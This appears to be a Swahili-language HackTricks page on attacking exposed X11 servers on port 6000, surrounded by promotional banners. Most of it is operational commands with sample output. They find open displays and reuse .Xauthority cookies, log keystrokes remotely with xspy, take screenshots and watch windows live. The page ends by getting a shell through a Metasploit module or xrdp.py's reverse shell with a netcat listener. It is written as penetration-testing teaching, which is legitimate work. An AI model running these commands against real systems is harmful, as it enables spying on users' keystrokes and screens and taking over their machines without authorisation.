mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
190 lines
8.3 KiB
Markdown
190 lines
8.3 KiB
Markdown
# 6000 - Kupima Usalama wa X11
|
||
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Njia nyingine za kusaidia HackTricks:
|
||
|
||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||
|
||
**Machapisho ya Kudukua**\
|
||
Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za kudukua
|
||
|
||
**Taarifa za Kudukua Halisi**\
|
||
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu
|
||
|
||
**Matangazo ya Hivi Karibuni**\
|
||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||
|
||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||
|
||
## Taarifa Msingi
|
||
|
||
**X Window System** (X) ni mfumo wa dirisha mwenye uwezo unaopatikana kwenye mifumo ya uendeshaji inayotegemea UNIX. Inatoa mfumo wa kuunda **interfaces za mtumiaji za picha (GUIs)**, na programu binafsi kushughulikia muundo wa interface ya mtumiaji. Uwezo huu huruhusu uzoefu mbalimbali na unaoweza kubadilishwa ndani ya mazingira ya X.
|
||
|
||
**Bandari ya msingi:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Uchunguzi
|
||
|
||
Angalia kwa **unganisho la kujitegemea:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Uchambuzi wa Kienyeji
|
||
|
||
Faili **`.Xauthority`** katika folda ya nyumbani ya mtumiaji **inatumika** na **X11 kwa idhini**. Kutoka [**hapa**](https://stackoverflow.com/a/37367518):
|
||
```bash
|
||
$ xxd ~/.Xauthority
|
||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||
00000030: 041d ef ...
|
||
```
|
||
> MIT-magic-cookie-1: Kuzalisha funguo za 128bit ("cookie"), kuzihifadhi katika \~/.Xauthority (au mahali ambapo XAUTHORITY envvar inaelekeza). Mteja huituma kwa seva kwa wazi! seva huchunguza ikiwa ina nakala ya hii "cookie" na ikiwa ndivyo, uhusiano unaruhusiwa. funguo hii huzalishwa na DMX.
|
||
|
||
{% hint style="warning" %}
|
||
Ili **kutumia cookie** unapaswa kuweka env var: **`export XAUTHORITY=/path/to/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
#### Kikao cha Uchunguzi wa Kienyeji
|
||
```bash
|
||
$ w
|
||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||
```
|
||
### Thibitisha Uunganisho
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Keyloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) kuchunguza tarakilishi za kibodi.
|
||
|
||
Matokeo ya Sampuli:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
## Kuchukua Picha za Skrini
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
## Tazama Kijijini cha Mbali
|
||
|
||
Kutoka: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
Kwanza tunahitaji kupata kitambulisho cha dirisha kwa kutumia xwininfo
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
**XWatchwin**
|
||
|
||
Kwa **kuangalia moja kwa moja**, tunahitaji kutumia
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Pata Kifaa cha Shell
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
Njia nyingine:
|
||
|
||
**Reverse Shell:** Xrdp pia inaruhusu kuchukua reverse shell kupitia Netcat. Andika amri ifuatayo:
|
||
```bash
|
||
./xrdp.py \<IP:0> –no-disp
|
||
```
|
||
Katika kiolesura unaweza kuona **chaguo la R-shell**.
|
||
|
||
Kisha, anza **Msikilizaji wa Netcat** kwenye mfumo wako wa ndani kwenye bandari 5555.
|
||
```bash
|
||
nc -lvp 5555
|
||
```
|
||
Kisha, weka anwani yako ya IP na bandari katika chaguo la **R-Shell** na bonyeza **R-shell** kupata shell
|
||
|
||
## Marejeo
|
||
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
## Shodan
|
||
|
||
* `port:6000 x11`
|
||
|
||
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||
|
||
**Machapisho ya Kudukua**\
|
||
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
|
||
|
||
**Taarifa za Kudukua za Muda Halisi**\
|
||
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu
|
||
|
||
**Matangazo ya Karibuni**\
|
||
Baki mwelekezwa na tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||
|
||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Njia nyingine za kusaidia HackTricks:
|
||
|
||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||
|
||
</details>
|